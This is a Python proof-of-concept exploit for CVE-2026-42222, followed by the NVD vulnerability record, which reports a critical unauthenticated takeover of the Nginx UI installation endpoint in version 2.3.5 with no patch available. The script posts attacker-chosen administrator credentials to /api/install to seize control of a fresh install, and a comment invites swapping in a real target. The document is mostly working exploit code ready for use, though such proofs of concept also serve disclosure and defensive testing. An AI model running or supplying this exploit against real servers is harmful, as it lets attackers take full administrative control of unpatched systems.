CVE-2026-42222

import requests def exploit(target_url): """ PoC for CVE-2026-42222: Unauthenticated Bootstrap Takeover This script attempts to hijack the installation process. """ install_endpoint = f"{target_url.rstrip('/')}/api/install" # Malicious payload to set admin credentials data = { "username": "hacker_admin", "password": "StrongHackerPass123!", "email": "[email protected]" } try: print(f"[*] Targeting: {install_endpoint}") response = requests.post(install_endpoint, json=data, timeout=10) if response.status_code == 200: print("[+] Successfully hijacked the installation!") print(f"[+] Admin Username: {data['username']}") print(f"[+] Admin Password: {data['password']}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-42222", "sourceIdentifier": "[email protected]", "published": "2026-05-04T21:16:32.173", "lastModified": "2026-05-06T17:47:59.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patches are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.3.5:*:*:*:*:*:*:*", "matchCriteriaId": "220AB408-E585-4E99-882C-0892D73A3516"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}